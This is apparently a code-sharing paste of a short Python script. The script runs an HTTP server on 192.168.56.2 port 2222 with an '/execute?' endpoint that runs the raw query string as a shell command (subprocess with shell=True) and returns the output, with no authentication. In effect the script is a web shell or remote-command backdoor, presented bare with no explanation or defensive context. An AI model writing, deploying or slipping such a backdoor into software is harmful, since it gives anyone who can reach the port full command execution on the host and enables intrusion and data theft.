Untitled

mail@pastecode.io avatarunknown
python
2 months ago
1.5 kB
1
Indexable
Never
from http.server import BaseHTTPRequestHandler, HTTPServer
import subprocess

class MyRequestHandler(BaseHTTPRequestHandler):
    def _send_response(self, content, status=200):
        self.send_response(status)
        self.send_header('Content-type', 'text/plain')
        self.send_header('Content-length', len(content))
        self.end_headers()
        self.wfile.write(content.encode())

    def do_GET(self):
        try:
            if self.path.startswith('/execute?'):
                command = self.path.split('?')[1]
                response = self.execute_command(command)
                self._send_response(response)
            elif self.path == '/exit':
                self._send_response('Exiting...')
                self.server.shutdown()
            else:
                self._send_response('Invalid request', status=400)
        except Exception as e:
            self._send_response('Error: ' + str(e), status=500)

    def execute_command(self, command):
        try:
            result = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT, text=True)
            return result
        except subprocess.CalledProcessError as e:
            return str(e.output)

def start_http_server():
    host_ip = '192.168.56.2'
    host_port = 2222
    server = HTTPServer((host_ip, host_port), MyRequestHandler)
    print(f'Server listening on {host_ip}:{host_port}')
    server.serve_forever()

if __name__ == '__main__':
    start_http_server()